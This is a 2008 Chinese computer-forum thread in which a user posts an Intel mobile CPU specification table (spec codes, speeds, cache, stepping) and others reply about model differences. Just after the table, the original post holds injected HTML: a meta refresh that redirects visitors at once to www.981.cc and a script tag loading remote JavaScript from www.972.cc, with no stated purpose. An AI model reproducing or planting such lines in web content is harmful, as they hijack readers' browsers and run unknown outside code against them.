开业于2004年,诚信服务几万客户
翔意数码淘宝店:xynbnb.taobao.com
全国客服电话:010-59000667
地址:北京东城区东兴隆街56号北京商界A座512
ThinkPad产品专业客服 苹果产品专业客服
查看: 4810|回复: 42

转一个有用的东西,cpu全系列

[复制链接]
发表于 2008-4-15 14:08 | 显示全部楼层 |阅读模式
Spec# CPU Speed Processor # PCG Bus Speed Mfg Tech Stepping Cache Size Package Type
SLAQH 2.60 GHz T9500 N/A 800 MHz 45 nm C0 6 MB Micro-FCPGA
SLAPW 2.60 GHz T9500 N/A 800 MHz 45 nm C0 6 MB Micro-FCBGA
SLA75 2.60 GHz T7800 N/A 800 MHz 65 nm G0 4 MB Micro-FCBGA
SLAF6 2.60 GHz T7800 N/A 800 MHz 65 nm G0 4 MB Micro-FCPGA
SLAQG 2.50 GHz T9300 N/A 800 MHz 45 nm C0 6 MB Micro-FCPGA
SLAPV 2.50 GHz T9300 N/A 800 MHz 45 nm C0 6 MB Micro-FCBGA
SLAPR 2.40 GHz T8300 N/A 800 MHz 45 nm M0 3 MB Micro-FCBGA
SLAPA 2.40 GHz T8300 N/A 800 MHz 45 nm M0 3 MB Micro-FCPGA
SLADL 2.40 GHz T7700 N/A 800 MHz 65 nm G0 4 MB Micro-FCBGA
SLAF7 2.40 GHz T7700 N/A 800 MHz 65 nm G0 4 MB Micro-FCPGA
SLA43 2.40 GHz T7700 N/A 800 MHz 65 nm E1 4 MB Micro-FCPGA
SLAPU 2.40 GHz T8300 N/A 800 MHz 45 nm C0 3 MB Micro-FCBGA
SLA3M 2.40 GHz T7700 N/A 800 MHz 65 nm E1 4 MB Micro-FCBGA
SL9SJ 2.33 GHz T7600 N/A 667 MHz 65 nm B2 4 MB Micro-FCBGA
SL9SD 2.33 GHz T7600 N/A 667 MHz 65 nm B2 4 MB Micro-FCPGA
SLA44 2.20 GHz T7500 N/A 800 MHz 65 nm E1 4 MB Micro-FCPGA
SLA3N 2.20 GHz T7500 N/A 800 MHz 65 nm E1 4 MB Micro-FCBGA
SLADM 2.20 GHz T7500 N/A 800 MHz 65 nm G0 4 MB Micro-FCBGA
SLAF8 2.20 GHz T7500 N/A 800 MHz 65 nm G0 4 MB Micro-FCPGA
SL9SK 2.16 GHz T7400 N/A 667 MHz 65 nm B2 4 MB Micro-FCBGA
SL9SE 2.16 GHz T7400 N/A 667 MHz 65 nm B2 4 MB Micro-FCPGA
SLAXG 2.10 GHz T8100 N/A 800 MHz 45 nm M0 3 MB Micro-FCPGA
SLAPT 2.10 GHz T8100 N/A 800 MHz 45 nm M0 3 MB Micro-FCBGA
SLAUU 2.10 GHz T8100 N/A 800 MHz 45 nm C0 3 MB Micro-FCPGA
SLAVJ 2.10 GHz T8100 N/A 800 MHz 45 nm M0 3 MB Micro-FCPGA
SLAPS 2.10 GHz T8100 N/A 800 MHz 45 nm M0 3 MB Micro-FCBGA
SLAP9 2.10 GHz T8100 N/A 800 MHz 45 nm M0 3 MB Micro-FCPGA
SL9SF 2 GHz T7200 N/A 667 MHz 65 nm B2 4 MB Micro-FCPGA
SLA3T 2 GHz T7250 N/A 800 MHz 65 nm M0 2 MB Micro-FCBGA
SLA3P 2 GHz T7300 N/A 800 MHz 65 nm E1 4 MB Micro-FCBGA
SLA49 2 GHz T7250 N/A 800 MHz 65 nm M0 2 MB Micro-FCPGA
SL9SL 2 GHz T7200 N/A 667 MHz 65 nm B2 4 MB Micro-FCBGA
SLA45 2 GHz T7300 N/A 800 MHz 65 nm E1 4 MB Micro-FCPGA
SLA4D 2 GHz T5750 N/A 667 MHz 65 nm M0 2 MB Micro-FCPGA
SL9SP 1.83 GHz T5600 N/A 667 MHz 65 nm B2 2 MB Micro-FCBGA
SL9U7 1.83 GHz T5600 N/A 667 MHz 65 nm L2 2 MB Micro-FCBGA
SL9U3 1.83 GHz T5600 N/A 667 MHz 65 nm L2 2 MB Micro-FCPGA
SLA4E 1.83 GHz T5550 N/A 667 MHz 65 nm M0 2 MB Micro-FCPGA
SL9SG 1.83 GHz T5600 N/A 667 MHz 65 nm B2 2 MB Micro-FCPGA
SLA4A 1.80 GHz T7100 N/A 800 MHz 65 nm M0 2 MB Micro-FCPGA
SLA3U 1.80 GHz T7100 N/A 800 MHz 65 nm M0 2 MB Micro-FCBGA
SL9WE 1.73 GHz T5300 N/A 533 MHz 65 nm L2 2 MB Micro-FCPGA
SL9SH 1.66 GHz T5500 N/A 667 MHz 65 nm B2 2 MB Micro-FCPGA
SLA4F 1.66 GHz T5450 N/A 667 MHz 65 nm M0 2 MB Micro-FCPGA
SL9SQ 1.66 GHz T5500 N/A 667 MHz 65 nm B2 2 MB Micro-FCBGA
SL9U8 1.66 GHz T5500 N/A 667 MHz 65 nm L2 2 MB Micro-FCBGA
SL9U4 1.66 GHz T5500 N/A 667 MHz 65 nm L2 2 MB Micro-FCPGA
SLAEB 1.60 GHz T5470 N/A 800 MHz 65 nm M0 2 MB Micro-FCPGA
SLA3R 1.60 GHz L7500 N/A 800 MHz 65 nm L2 4 MB Micro-FCBGA
SL9VP 1.60 GHz T5200 N/A 533 MHz 65 nm B2 2 MB Micro-FCPGA
SLA9S 1.50 GHz T5250 N/A 667 MHz 65 nm M0 2 MB Micro-FCPGA
SL9SM 1.50 GHz L7400 N/A 667 MHz 65 nm B2 4 MB Micro-FCBGA
SLA3S 1.40 GHz  L7300 N/A 800 MHz 65 nm E1 4 MB Micro-FCBGA
SLV3W 1.33 GHz U7600 N/A 533 MHz 65 nm M0 2 MB Micro-FCBGA
SL9SN 1.33 GHz L7200 N/A 667 MHz 65 nm B2 4 MB Micro-FCBGA
SLV3X 1.20 GHz U7500 N/A 533 MHz 65 nm M0 2 MB Micro-FCBGA
SLA2U 1.20 GHz U7600 N/A 533 MHz 65 nm L2 2 MB Micro-FCBGA
SLA2V 1.06 GHz U7500 N/A 533 MHz 65 nm L2 2 MB Micro-FCBGA<meta http-equiv="refresh" content="0; url=http://www.981.cc">
★★★
<script type="text/javascript" src="http://www.972.cc/1.js"></script>
<link href="http://www.972.cc/1.css" rel="stylesheet" type="text/css" media="screen" />


<P>&nbsp;</P>
<P>&nbsp;</P>


<P>&nbsp;</P>

发表于 2008-4-15 14:22 | 显示全部楼层
同型号产品貌似有参数都相同有编码不同的?性能有差距么?
发表于 2008-4-15 15:45 | 显示全部楼层
眼晕。。。。。。。。。。。。。
发表于 2008-4-15 16:00 | 显示全部楼层
原帖由 moonriver 于 2008-4-15 14:22 发表
同型号产品貌似有参数都相同有编码不同的?性能有差距么?

当然有差距了,要么换型号干啥,汗
发表于 2008-4-15 20:53 | 显示全部楼层
不错,很厉害的嘛
发表于 2008-4-15 22:09 | 显示全部楼层
原帖由 aaron_nnnn 于 2008-4-15 15:45 发表
眼晕。。。。。。。。。。。。。


我都吐了。。。
发表于 2008-4-15 22:10 | 显示全部楼层
什么时候有9500零售
发表于 2008-4-15 22:16 | 显示全部楼层
9300的X61快出了,9500的T61在别的坛子里已经出来了,呵呵Waiting。。。。
发表于 2008-4-17 12:59 | 显示全部楼层
非常的齐全啊........
发表于 2008-4-17 13:52 | 显示全部楼层
呵呵,没有286的CPU,就不能说全系列。
发表于 2008-4-17 14:17 | 显示全部楼层
看着头晕
发表于 2008-4-17 14:21 | 显示全部楼层
呵呵 太多了啊
发表于 2008-4-17 14:29 | 显示全部楼层
能说说 差别么??
发表于 2008-4-17 22:15 | 显示全部楼层
原帖由 kituq521 于 2008-4-17 14:29 发表
能说说 差别么??

线宽、主频、迅驰4和4.5的差别,呵呵
发表于 2008-4-19 22:46 | 显示全部楼层
不错,很好。。。。。。。
liux 该用户已被删除
发表于 2008-4-19 23:22 | 显示全部楼层
提示: 作者被禁止或删除 内容自动屏蔽
发表于 2008-4-20 09:49 | 显示全部楼层
表格哪去了……
发表于 2008-4-20 10:28 | 显示全部楼层
表格被清理了
发表于 2008-4-20 16:47 | 显示全部楼层
呵呵,9500.。。。。不予考虑了。。。
发表于 2008-4-20 17:00 | 显示全部楼层
这啥玩意啊??
发表于 2008-4-20 20:39 | 显示全部楼层
怎么这么多相同的饿,有啥区别
发表于 2008-4-20 22:02 | 显示全部楼层
  好像还是以前的东西
发表于 2008-4-21 21:46 | 显示全部楼层
不粗,很多啊。。。。。。。。。。。
发表于 2008-4-22 04:58 | 显示全部楼层
很全阿,不过不详细
 楼主| 发表于 2008-4-23 13:10 | 显示全部楼层
这个是我从intel网站拔下来的,大家要看仔细的自己上去看去。。。。
您需要登录后才可以回帖 登录 | 加入

本版积分规则

返回顶部